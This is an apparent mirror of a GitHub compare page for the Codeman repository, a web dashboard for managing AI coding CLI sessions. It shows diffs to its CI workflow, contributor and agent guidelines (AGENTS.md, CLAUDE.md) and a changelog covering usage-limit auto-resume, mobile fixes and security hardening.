mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-09-30 20:49:41 +02:00
Compare commits
45
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4a33b91107 | ||
|
|
28b531fa5b | ||
|
|
68310619a7 | ||
|
|
055f18fb66 | ||
|
|
cf2a7f54bf | ||
|
|
beeec63f72 | ||
|
|
fad32eeaab | ||
|
|
c1458d8ab8 | ||
|
|
0be3d09603 | ||
|
|
96035ffa1f | ||
|
|
7dd7614760 | ||
|
|
9c986b2869 | ||
|
|
8c7a9781fa | ||
|
|
70378315da | ||
|
|
f8b2a2a347 | ||
|
|
dd449765de | ||
|
|
8a995cb9e3 | ||
|
|
e1f611b8fb | ||
|
|
cb978fb178 | ||
|
|
1586d32e45 | ||
|
|
0b29e0e74f | ||
|
|
e0ddbb147b | ||
|
|
7a39fd9a77 | ||
|
|
e77df131b8 | ||
|
|
02fa3f30f5 | ||
|
|
272f0d13ad | ||
|
|
c29475ed10 | ||
|
|
732463b36e | ||
|
|
19d7167fa2 | ||
|
|
227495a9bd | ||
|
|
b75181b725 | ||
|
|
e38e53302b | ||
|
|
458fb81cbe | ||
|
|
5b3024b327 | ||
|
|
0569f68b86 | ||
|
|
b84438a0aa | ||
|
|
d5f91e4cd7 | ||
|
|
36bc22a3d5 | ||
|
|
2952256d65 | ||
|
|
3afb7a66dc | ||
|
|
8fc139d671 | ||
|
|
5adf044399 | ||
|
|
d95b4c597c | ||
|
|
e82e38e68d | ||
|
|
c669518ba0 |
@@ -31,6 +31,9 @@ jobs:
|
||||
- name: Lint
|
||||
run: npm run lint
|
||||
|
||||
- name: Frontend JS syntax check
|
||||
run: npm run check:frontend-syntax
|
||||
|
||||
- name: Format check
|
||||
run: npm run format:check
|
||||
|
||||
@@ -60,6 +63,34 @@ jobs:
|
||||
cat /tmp/boot.log
|
||||
exit 1
|
||||
|
||||
# Note: The test suite is intentionally excluded from CI.
|
||||
# Tests spawn real tmux sessions and require a full system environment.
|
||||
# Run tests locally with: npx vitest run test/<file>.test.ts
|
||||
test:
|
||||
name: Unit & integration tests
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version: 22
|
||||
cache: 'npm'
|
||||
|
||||
- name: Install dependencies
|
||||
run: npm ci
|
||||
|
||||
- name: Install tmux
|
||||
run: |
|
||||
if ! command -v tmux >/dev/null; then
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y tmux
|
||||
fi
|
||||
|
||||
- name: Run unit & integration tests
|
||||
# Excludes the browser-driven mobile suite (test/mobile/**); see config/vitest.ci.config.ts.
|
||||
# Safe in CI: TmuxManager no-ops all shell commands under VITEST (test/setup.ts).
|
||||
run: npm run test:ci
|
||||
|
||||
# Note: The browser-driven mobile suite (test/mobile/**) is excluded from CI —
|
||||
# it needs a live server + chromium + environment-specific PNG baselines.
|
||||
# Run it locally/manually. All other tests run via the `test` job above.
|
||||
|
||||
@@ -18,6 +18,10 @@ coverage/
|
||||
test/e2e/screenshots/current/
|
||||
test/e2e/screenshots/diffs/
|
||||
|
||||
# Mobile visual regression failure artifacts
|
||||
test/mobile/snapshots/*.actual.png
|
||||
test/mobile/snapshots/*.diff.png
|
||||
|
||||
# Logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
# Repository Guidelines
|
||||
|
||||
Canonical agent/contributor guidance for this repository lives in [CLAUDE.md](CLAUDE.md) —
|
||||
project structure, build/test/lint commands, code style, testing safety rules
|
||||
(never run the full suite inside a managed tmux session), security notes, and
|
||||
the deployment workflow are all maintained there. Please read it before making
|
||||
changes, and keep it the single source of truth rather than duplicating
|
||||
sections here.
|
||||
|
||||
Quick pointers:
|
||||
|
||||
- Type check: `tsc --noEmit` · Lint: `npm run lint` · Format: `npm run format:check`
|
||||
- Targeted tests only: `npm test -- test/<file>.test.ts` (bare `npm test` is unsafe in managed sessions)
|
||||
- Route tests use `app.inject()`; new tests needing ports must pick a unique `const PORT =`
|
||||
- Branch off `master` for all work; Conventional Commit-style messages (`fix(mobile): ...`)
|
||||
- Never commit secrets or local state from `~/.codeman/`
|
||||
+114
@@ -1,5 +1,119 @@
|
||||
# aicodeman
|
||||
|
||||
## 0.9.13
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Auto-resume on usage limit ("token pause" control) plus a set of mobile-view fixes for regressions introduced in 0.9.8.
|
||||
|
||||
**Auto-resume on usage limit** — new opt-in checkbox at the top of the session Respawn tab (off by default). When Claude stops because a usage limit was reached, Codeman parses the reset time from the limit message, waits until the limit lifts (plus a 2-minute safety buffer), then dismisses the rate-limit dialog (Esc) and sends "continue" so the session picks its work back up automatically. All Claude Code message formats from 1.0.x through 2.1.x are recognized ("5-hour limit reached ∙ resets 8pm", "Limit reached · resets 1pm (America/Chicago) · /upgrade…", "You've hit your weekly limit · resets Mon 12:00am", weekly date forms, and the raw API `usage limit reached|<epoch>` form). Still-limited responses re-arm the scheduler (5-minute retry loop); a pending schedule persists across Codeman restarts and re-arms on boot; respawn cycles are blocked while a limit pause is active so the cycle's `/clear` cannot wipe the paused conversation. New endpoint `POST /api/sessions/:id/auto-resume`; new SSE events `session:limitPauseScheduled`, `session:limitResume`, `session:limitResumeCancelled`; toast/notification on pause and resume, plus a live "resumes at HH:MM" status line in the modal. The Respawn tab layout was also tidied: compact single-row Update/Kickstart prompt fields and a merged options row.
|
||||
|
||||
**Mobile fixes (0.9.8 regressions)**:
|
||||
- **Activity-based resize arbitration** — a desktop sizing claim now only blocks a phone's resize while that desktop has actually typed within the last 90 seconds. Previously any connected desktop tab (even one abandoned hours ago) silently discarded the phone's resize with no fallback, leaving the phone rendering a desktop-width stream in a narrow terminal: mid-word wraps, tmux dot-fill rows, overdrawn garbled text, and misplaced keyboard echo. Now an idle desktop yields the pane to the phone, and the next desktop keystroke automatically restores the desktop layout ("whoever is actively using the session wins"). Phones also re-send their dimensions every 30 seconds (visible tab only, skipped while the virtual keyboard is open) so attaching under a momentarily-active desktop self-corrects.
|
||||
- **Keyboard accessory bar and toolbar restored on iOS** — the lift offset is measured against the layout viewport (`window.innerHeight`) again instead of the keyboard-shrunken app element; on iOS the offset computed to 0, leaving both bars hidden behind the OS keyboard with a dead black gap above it.
|
||||
- **Removed the mobile header utility ("three dots") toggle** — the header-utilities tray stays collapsed on small viewports.
|
||||
|
||||
## 0.9.12
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Documentation refresh — README catches up with the Codex run mode, plus a CLAUDE.md correction.
|
||||
|
||||
**README (en + zh-CN)**: Codex is now listed as a third supported AI coding CLI everywhere the docs previously said "Claude Code or OpenCode": the install requirement in Quick Start (now "any combination works", linking to the official Codex CLI docs), the Windows/WSL setup note, the renamed **Multi-CLI** feature bullet (env-prefix gating now reads `CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`), the Zod schema-validation security bullet, and the architecture mermaid diagram. The header tagline was also finalized to "Claude Code • OpenCode • Codex — One Dashboard • Any Device" in both languages.
|
||||
|
||||
**CLAUDE.md**: fixed a stale "Local packages" line that claimed the xterm-zerolag-input local-echo overlay had a copy embedded in `app.js` — it is single-source in `packages/xterm-zerolag-input/`, bundled to the gitignored vendor file, and only consumed by `app.js`, matching the existing single-source gotcha.
|
||||
|
||||
## 0.9.11
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Fix a terminal freeze on hover (catastrophic regex backtracking) and a CSP violation that disabled the terminal's anti-throttling worker.
|
||||
|
||||
**Tab-freezing hover bug**: the terminal link provider's `cmdPattern` (which turns `tail -f /path`-style text into clickable links) used an empty-matchable, unbounded arg group — `(?:[^\s\/]*\s+)*` — that backtracks exponentially on real Claude output, e.g. wrapped `git commit -m "$(cat <<'EOF'` heredoc lines or aligned table rows. Hovering the mouse over such a line hung the page's main thread for minutes ("page unresponsive"). The pattern now uses non-empty tokens with bounded repetition (linear time); all intended command+path link forms still match. New `test/link-provider-regex.test.ts` extracts the shipped patterns from source and pins linear-time behavior on the killer line shapes.
|
||||
|
||||
**Blob worker CSP fix**: `worker-src 'self' blob:` is now always present in the CSP (previously only with `CODEMAN_GESTURE=1`). The terminal's `_safeYield` anti-throttling tick worker is created from a Blob URL and was silently blocked on every install, logging a CSP violation on each page load and disabling the worker leg of the render-yield fallback chain.
|
||||
|
||||
## 0.9.10
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Self-update now restarts automatically on headless Macs supervised by a system LaunchDaemon.
|
||||
|
||||
New `launchd-daemon` supervisor kind: when Codeman runs under a bootstrapped, KeepAlive system-level LaunchDaemon (`/Library/LaunchDaemons/com.codeman.web.plist` — the right setup for headless Macs, where LaunchAgents never start because there is no GUI login), the updater no longer ends with "Update staged — restart Codeman to apply". It restarts rootlessly: the update script kills the server PID (passed via `--server-pid`) and launchd respawns it on the freshly built `dist/`. Detection is conservative — the daemon must be bootstrapped in the system domain AND have `KeepAlive` enabled.
|
||||
|
||||
Also fixed: a lingering "restart Codeman to apply" status. After a manual restart of a staged update, boot reconciliation now flips `completed-needs-manual-restart` to `completed` once the running version matches the staged target, so the Updates tab stops showing the stale instruction.
|
||||
|
||||
## 0.9.9
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Codex (OpenAI CLI) run mode, Claude Model picker, and response-viewer button now opt-in.
|
||||
|
||||
**Codex (OpenAI CLI) run mode** (#114): new `codex` session mode alongside Claude Code and OpenCode. Sessions launch the Codex CLI via tmux with secrets injected through `tmux setenv` (`OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` — never on the command line). Supports `--model`, `resume <id>`, and `--dangerously-bypass-approvals-and-sandbox` via the `codexConfig` payload or the new App Settings → Codex CLI tab (`codexDangerouslyBypassApprovals`). Availability surfaced at `GET /api/codex/status` with an install hint when the binary is missing. Frontend gets a "Run CX" run-mode option; Respawn/Ralph options stay Claude-only (session options open on the Summary tab for external-CLI sessions). `CODEX_*` env prefix added to the env-override allowlist.
|
||||
|
||||
**Claude Model picker**: App Settings → Claude CLI gains a "Claude Model" select (`claudeModel` setting) that pins the model for new Claude sessions via the case's `.claude/settings.local.json` — e.g. Fable 5 (1M context), Fable 5, Opus (1M), Opus, Sonnet, Haiku. It takes precedence over the legacy 1M Opus Context toggle. Fable 5 also added to the orchestrator default/phase model dropdowns.
|
||||
|
||||
**Response-viewer (eye) header button is now hidden by default** — existing users who relied on it can re-enable it under App Settings → Display → Response Viewer (`showResponseViewer`, per-device setting). A new Display toggle controls its visibility.
|
||||
|
||||
Also: tests made immune to a set `CODEMAN_GESTURE` env var; CLAUDE.md documents the Codex run mode and the eye-button toggle.
|
||||
|
||||
## 0.9.8
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Stable HTTP contract, terminal pane-buffer rework, mobile/touch fixes, and fresh-install default cleanups.
|
||||
|
||||
**API / v1 readiness (PR #113)**
|
||||
- Stable HTTP contract: uniform `{success, data}` / `{success: false, error, errorCode}` response envelope across all ~134 handlers, correct HTTP status codes, and a versioned `/api/v1/*` alias of `/api/*`
|
||||
- Post-merge adversarial audit closed 9 contract gaps (envelope/status-code stragglers), incl. `loadQuickStartCases` double-unwrap
|
||||
- Node.js floor raised to >=22; `codeman` bin alias installed alongside `aicodeman`
|
||||
- Security hardening: SSRF guard on the push endpoint, tmux session-name validation, documented tail-file roots
|
||||
- Governance: SECURITY.md and a SemVer versioning policy (docs/versioning-policy.md)
|
||||
- CI now runs the full unit/integration suite (vitest.ci.config.ts) plus a frontend JS syntax gate
|
||||
|
||||
**Terminal (PR #112)**
|
||||
- tmux pane-buffer primitives and session/render reliability fixes for the terminal pipeline, with re-review findings addressed
|
||||
|
||||
**Mobile / touch (PR #111)**
|
||||
- Terminal and layout fixes for touch devices: desktop focus handling, WS resize-claim wiring, CJK setting, ESC passthrough
|
||||
- New: Esc button in the simple (default) keyboard accessory bar, next to paste — sends a real ESC to the session
|
||||
|
||||
**Defaults & UI**
|
||||
- Monitor panel is now disabled by default on fresh installs (desktop previously slid it open at startup; mobile was already off). Opt in via App Settings -> Show Monitor
|
||||
- Fixed the session-tab task badge silently failing to open the Monitor panel when it was hidden by the setting (long-broken on mobile)
|
||||
- Local echo defaults audited and confirmed per-device: off on desktop, on for touch devices, never server-synced
|
||||
|
||||
## 0.9.7
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Fix installer failure on corrupt puppeteer cache + add Simplified Chinese README.
|
||||
- **Installer / self-update reliability**: The universal installer (`install.sh`) and the in-app self-updater (`scripts/self-update.sh`) now set `PUPPETEER_SKIP_DOWNLOAD=1` before `npm install`. `puppeteer` is a devDependency used only by `scripts/browser-comparison.mjs`; its ~150MB `chrome-headless-shell` download is never needed to build or run Codeman. Previously, a partially-downloaded browser cache (folder present, executable missing) made puppeteer refuse to re-download and abort `npm install`, which failed the entire install/update — most visibly on macOS (`mac_arm`). The download is now skipped on both paths; callers can still opt back in with `PUPPETEER_SKIP_DOWNLOAD=0`.
|
||||
- **Docs**: Added a Simplified Chinese translation of the README (`README.zh-CN.md`) with an English/中文 language switcher in `README.md`. Refreshed the README and documented the v0.9.5 security hardening (Host-header/DNS-rebinding guard, cross-site Origin/CSRF guard, anti-CSWSH WebSocket validation).
|
||||
|
||||
## 0.9.6
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Self-updater: show live progress during the slow steps so an update no longer looks frozen.
|
||||
- The detached update runner (`scripts/self-update.sh`) now emits a heartbeat every few seconds during `npm install` and `npm run build`, refreshing the update status with the latest output line (full output is still written to the update log).
|
||||
- App Settings → Updates now shows the live status message plus a ticking elapsed-time counter during non-terminal phases, instead of only a static phase label.
|
||||
|
||||
This takes effect when updating _from_ a build that includes it — the detached runner script and the polling UI are both the from-version's copies.
|
||||
|
||||
## 0.9.5
|
||||
|
||||
### Patch Changes
|
||||
|
||||
- Security hardening from the 2026-06-09 adversarial review — close the remote-exploit paths that affected the default (loopback + no-password) configuration. Full report: `docs/reports/security-review-2026-06-09.md`.
|
||||
- **Anti-DNS-rebinding Host allowlist (always on).** A new request guard rejects requests whose `Host` is a custom domain rebound to a loopback/LAN address — previously a website the operator merely visited could DNS-rebind to `127.0.0.1` and drive the entire API (arbitrary command execution, since sessions run `--dangerously-skip-permissions`). The allowlist accepts `localhost`, any bare IP literal, the bind host, `*.ts.net` / `*.trycloudflare.com` / `*.cfargotunnel.com`, the active managed tunnel, and anything in the new `CODEMAN_ALLOWED_HOSTS` env var (comma-separated; `host` or leading-dot `.suffix`).
|
||||
- **Cross-site (CSRF) Origin guard on all state-changing requests.** Forged cross-site requests are rejected; a missing `Origin` is allowed so `curl`/CLI automation and Claude Code hooks keep working. This closes the previously CSRF-triggerable self-update, session create/input, and settings/tunnel-toggle endpoints.
|
||||
- **`text/plain` body parser no longer JSON-parses every request body** (which let a cross-site "simple request" submit JSON with no CORS preflight). The crash-diagnostics beacon now parses its own body.
|
||||
- **WebSocket terminal upgrade now validates `Origin`/`Host`** (blocks cross-site WebSocket hijacking that could inject keystrokes into a running agent).
|
||||
- **Stored-XSS fix:** AI-/transcript-derived fields (tool name, tool detail, tool id, hook text) in the subagent activity panel are now HTML-escaped.
|
||||
|
||||
Operational note: if you front Codeman with a custom reverse-proxy domain, allow it via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. Setting `CODEMAN_PASSWORD` also fully mitigates these via the existing auth hook.
|
||||
|
||||
## 0.9.4
|
||||
|
||||
### Patch Changes
|
||||
|
||||
@@ -34,7 +34,7 @@ The production server caches static files for 1 year, `immutable` (`maxAge: '1y'
|
||||
|
||||
## COM Shorthand (Deployment)
|
||||
|
||||
Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@changesets/cli`.
|
||||
Uses [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`) via `@changesets/cli`. What SemVer actually covers (the CLI + documented env vars are public; the HTTP/SSE API, on-disk state, and experimental features are internal/unstable) is defined in `docs/versioning-policy.md`. Security reporting + known limitations live in `SECURITY.md`.
|
||||
|
||||
When user says "COM":
|
||||
1. **Determine bump type**: `COM` = patch (default), `COM minor` = minor, `COM major` = major
|
||||
@@ -56,17 +56,17 @@ When user says "COM":
|
||||
|
||||
CI runs `npm run check:lockfile` on every push/PR, so lockfile drift fails the build even if the `version-packages` script is bypassed.
|
||||
|
||||
**Version**: 0.9.4 (must match `package.json`)
|
||||
**Version**: 0.9.13 (must match `package.json`)
|
||||
|
||||
## Project Overview
|
||||
|
||||
Codeman is a Claude Code session manager with web interface and autonomous Ralph Loop. Spawns Claude CLI via PTY, streams via SSE, supports respawn cycling for 24+ hour autonomous runs.
|
||||
|
||||
**Tech Stack**: TypeScript (ES2022/NodeNext, strict mode), Node.js, Fastify, node-pty, xterm.js. Supports both Claude Code and OpenCode AI CLIs via pluggable CLI resolvers.
|
||||
**Tech Stack**: TypeScript (ES2022/NodeNext, strict mode), Node.js, Fastify, node-pty, xterm.js. Supports Claude Code, OpenCode, and Codex (OpenAI) CLIs via pluggable CLI resolvers (`SessionMode = 'claude' | 'shell' | 'opencode' | 'codex'`).
|
||||
|
||||
**TypeScript Strictness** (see `tsconfig.json`): `noUnusedLocals`, `noUnusedParameters`, `noImplicitReturns`, `noImplicitOverride`, `noFallthroughCasesInSwitch`, `allowUnreachableCode: false`, `allowUnusedLabels: false`.
|
||||
|
||||
**Requirements**: Node.js 18+, Claude CLI, tmux
|
||||
**Requirements**: Node.js 22+, Claude CLI, tmux
|
||||
|
||||
**Git**: Main branch is `master`. SSH session chooser: `sc` (interactive), `sc 2` (quick attach), `sc -l` (list).
|
||||
|
||||
@@ -85,10 +85,12 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
|
||||
| Rebuild gesture overlay | `npm run build:gesture` (esbuild `packages/gesture-control/src/codeman/entry.ts` → `src/web/public/gesture/gesture-codeman.js`; commit the result) |
|
||||
| Gesture playground | `npm run dev` **in** `packages/gesture-control/` (standalone vite demo, fake tabs) |
|
||||
| Check public-asset formatting | `npm run check:public-assets` (prettier-checks `src/web/public/**` text assets; `scripts/check-public-assets.mjs`) |
|
||||
| Frontend JS syntax check | `npm run check:frontend-syntax` (`scripts/check-frontend-syntax.mjs`; runs in CI) |
|
||||
| CI-equivalent test sweep | `npm run test:ci` (full suite minus browser/perf — see Testing) |
|
||||
| Production start | `npm run start` |
|
||||
| Production logs | `journalctl --user -u codeman-web -f` |
|
||||
|
||||
**CI**: `.github/workflows/ci.yml` runs `check:lockfile`, `typecheck`, `lint`, `format:check`, then a **server boot smoke test** (`tsx src/index.ts web --port 3151` must answer `/api/status` within 30s) on push to master/main and on PRs (Node 22). The unit test suite is excluded (it spawns tmux).
|
||||
**CI**: `.github/workflows/ci.yml` (push to master/main + PRs, Node 22) runs two jobs: **(1)** `check:lockfile`, `typecheck`, `lint`, `check:frontend-syntax`, `format:check`, then a **server boot smoke test** (`tsx src/index.ts web --port 3151` must answer `/api/status` within 30s); **(2)** the **unit/integration test suite** via `npm run test:ci` (`config/vitest.ci.config.ts` — excludes the browser-driven `test/mobile/**` suite, `perf-*` benchmarks, and 3 Playwright tests). Tests are tmux-safe in CI: `TmuxManager` no-ops all shell commands under `VITEST` (see Testing).
|
||||
|
||||
**Code style**: Prettier (`singleQuote: true`, `printWidth: 120`, `trailingComma: "es5"`). ESLint flat config (`config/eslint.config.js`) allows `no-console`, warns on `@typescript-eslint/no-explicit-any`. Ignores: `app.js`, `scripts/**/*.mjs`, `src/web/public/vendor/**`, `scripts/remotion/**`.
|
||||
|
||||
@@ -96,13 +98,13 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
|
||||
|
||||
- **Single-line prompts only** — `writeViaMux()` sends text+Enter separately; multi-line breaks Ink
|
||||
- **ESM only** — Never `require()`, use `await import()`. `tsx` masks CJS/ESM issues in dev but production breaks
|
||||
- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly
|
||||
- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly. Both `aicodeman` and `codeman` bin aliases are installed (`package.json` `bin`)
|
||||
- **Global regex `lastIndex`** — Shared `g`-flag patterns in loops must reset `lastIndex = 0` first, or use the `execPattern()` helper in `utils/regex-patterns.ts` (resets automatically)
|
||||
- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift
|
||||
- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift
|
||||
- **Effort is NOT an env var** — never carry effort as `CLAUDE_CODE_EFFORT_LEVEL`: the env var hard-locks effort and blocks in-session `/effort` switching (incl. ultracode). It flows as the dedicated `effort` payload field → `Session._effort` → `claude --effort <level>` for regular levels incl. `max` (the settings `effortLevel` key is `enum(["low","medium","high","xhigh"]).catch(undefined)` — `max` gets SILENTLY dropped there), or `claude --settings '{"ultracode":true}'` for ultracode (rejected by `--effort`). Both are soft defaults the user can override anytime. Legacy env-var entries are auto-migrated by the Session constructor and unset from tmux sessions in `applyEnvOverrides()`. See `buildEffortCliArgs()` in `session-cli-builder.ts`, tests in `test/effort-injection.test.ts`
|
||||
- **Dual-CLI prefix discipline** — Codeman supports both Claude Code and OpenCode (`claude-cli-resolver.ts` / `opencode-cli-resolver.ts`); env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*`) and the allowlist in `schemas.ts` enforces this. When adding settings, decide which CLI(s) it applies to and gate the env export accordingly — don't blindly forward both prefixes. See `docs/opencode-integration.md` for the OpenCode resolver design
|
||||
- **Multi-CLI prefix discipline** — Codeman supports Claude Code, OpenCode, and Codex (`claude-cli-resolver.ts` / `opencode-cli-resolver.ts` / `codex-cli-resolver.ts`); env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`) and the allowlist in `schemas.ts` enforces this. When adding settings, decide which CLI(s) it applies to and gate the env export accordingly — don't blindly forward all prefixes. See `docs/opencode-integration.md` for the OpenCode resolver design
|
||||
- **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. Real bugs caused: 0.6.4 (`durationMinutes` for ∞ respawn), and the same shape pattern hit `opusContext1mEnabled` in 0.6.3
|
||||
- **`xterm-zerolag-input` is duplicated** — the local-echo overlay lives in BOTH `packages/xterm-zerolag-input/src/` (published to npm as a standalone library for external consumers — see README "Published Packages") AND inline inside `src/web/public/app.js` (runtime copy the web UI actually loads, since the page ships as plain JS without a bundler). Any change to overlay behavior MUST be applied to both, or dev and prod diverge — and a public API break in the package warrants a separate version bump for `xterm-zerolag-input` in the changeset. Always test on mobile after touching it. See `docs/local-echo-overlay-plan.md`.
|
||||
- **`xterm-zerolag-input` is single-source — edit the package, then rebuild the bundle** — the local-echo overlay source lives ONLY in `packages/xterm-zerolag-input/src/` (`zerolag-input-addon.ts`; also published to npm as a standalone library — see README "Published Packages"). It is bundled (esbuild → IIFE, with appended `window.LocalEchoOverlay` aliases) into the **gitignored** `src/web/public/vendor/xterm-zerolag-input.js` by `scripts/postinstall.js` (for dev/`tsx`) and into `dist/.../vendor/` by `scripts/build.mjs:50` (for prod). `app.js` only **consumes** it via `new LocalEchoOverlay(terminal)` — there is NO inline copy to keep in sync. So: change behavior in the package source, then re-run the bundle step (`npm install` reruns postinstall; `npm run build` for prod); **never hand-edit `app.js` for overlay behavior or commit the gitignored vendor bundle**. A public-API break in the package still warrants a separate `xterm-zerolag-input` version bump in the changeset. Always test on mobile after touching it. See `docs/local-echo-overlay-plan.md`.
|
||||
- **Default bind is loopback-only; non-loopback without a password starts but warns** — since COD-29 (PR #107) the web server defaults to `--host 127.0.0.1` (was `0.0.0.0`). As of **0.9.0** binding a non-loopback host (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **no longer refuses to start — it starts and prints a loud warning** listing the fixes (set `CODEMAN_PASSWORD`, bind loopback + tunnel/`tailscale serve`, or `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` to acknowledge → terser note). Host classification is `isLoopbackBindHost()` in `network-auth-policy.ts`; the warn-vs-start logic is in `server.ts` `start()`; flags wired in `cli.ts`. ⚠️ Operational note: the production systemd unit runs `node dist/index.js web --https` with no `--host`, so it binds **localhost only** — reach it remotely via `tailscale serve`/tunnel to `127.0.0.1`, or add `Environment=CODEMAN_HOST=0.0.0.0` + `Environment=CODEMAN_PASSWORD=…` to `~/.config/systemd/user/codeman-web.service`. A loopback bind is reachable through a same-host tunnel (cloudflared/tailscale → `127.0.0.1`) but NOT by a browser hitting the box's LAN IP. Auth user defaults to `admin`. **Full model: `docs/security-architecture.md`.**
|
||||
- **Instance isolation / multi-instance attach danger** — data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`). ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions** (`tmux -L codeman attach-session …`), resizing/mutating them — `$HOME` isolation is NOT enough (tmux is system-global). To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes BOTH dir+socket: `~/.codeman-<name>` + `-L codeman-<name>`), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually. **`CODEMAN_INSTANCE` defaults to empty = the production layout (`~/.codeman`, `-L codeman`, port 3000)**, so this branch is safe to ship to master without disturbing existing installs. To run THIS beta alongside prod, launch with `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`) — it never collides with prod's data dir/socket/port. Any new `~/.codeman/...` path MUST go through `dataPath()`, never `join(homedir(), '.codeman', …)`.
|
||||
|
||||
@@ -115,7 +117,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
|
||||
| Domain | Key files | Notes |
|
||||
|--------|-----------|-------|
|
||||
| **Entry** | `src/index.ts`, `src/cli.ts` | |
|
||||
| **Session** | `src/session.ts` ★, `src/session-manager.ts`, `src/session-auto-ops.ts`, `src/session-cli-builder.ts`, `src/session-lifecycle-log.ts`, `src/session-task-cache.ts` | |
|
||||
| **Session** | `src/session.ts` ★, `src/session-manager.ts`, `src/session-auto-ops.ts`, `src/session-cli-builder.ts`, `src/session-lifecycle-log.ts`, `src/session-task-cache.ts`, `src/usage-limit-patterns.ts` | |
|
||||
| **Mux** | `src/mux-interface.ts`, `src/mux-factory.ts`, `src/tmux-manager.ts` ★ | |
|
||||
| **Respawn** | `src/respawn-controller.ts` ★ + 4 helpers (`-adaptive-timing`, `-health`, `-metrics`, `-patterns`) | Read `docs/respawn-state-machine.md` first |
|
||||
| **Ralph** | `src/ralph-tracker.ts` ★, `src/ralph-loop.ts` + 5 helpers (`-config`, `-fix-plan-watcher`, `-plan-tracker`, `-stall-detector`, `-status-parser`) | Read `docs/ralph-wiggum-guide.md` first |
|
||||
@@ -125,18 +127,18 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
|
||||
| **Tasks** | `src/task.ts`, `src/task-queue.ts`, `src/task-tracker.ts` | |
|
||||
| **State** | `src/state-store.ts`, `src/run-summary.ts`, `src/session-lifecycle-log.ts` | |
|
||||
| **Infra** | `src/hooks-config.ts`, `src/push-store.ts`, `src/tunnel-manager.ts`, `src/image-watcher.ts`, `src/file-stream-manager.ts` | |
|
||||
| **Plan** | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/claude-md.ts` | |
|
||||
| **Web** | `src/web/server.ts`, `src/web/sse-events.ts`, `src/web/routes/*.ts` (15 route modules + barrel), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts` | |
|
||||
| **Frontend** | `src/web/public/app.js` (~3.4K lines, core) + 5 infra modules (`constants.js`, `mobile-handlers.js`, `voice-input.js`, `notification-manager.js`, `keyboard-accessory.js`) + 7 domain modules (`terminal-ui.js`, `respawn-ui.js`, `ralph-panel.js`, `orchestrator-panel.js`, `settings-ui.js`, `panels-ui.js`, `session-ui.js`) + 5 feature modules (`ralph-wizard.js`, `api-client.js`, `subagent-windows.js`, `input-cjk.js`, `image-input.js`) + `sw.js` | |
|
||||
| **Types** | `src/types/index.ts` (barrel) → 14 domain files; also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
|
||||
| **Plan** | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/` (`claude-md.ts` + `case-template.md`, the CLAUDE.md scaffold generated into new cases) | |
|
||||
| **Web** | `src/web/server.ts` ★, `src/web/sse-events.ts`, `src/web/routes/*.ts` (15 route modules + barrel; `session-routes.ts` ★), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts`, `src/web/self-update.ts` | |
|
||||
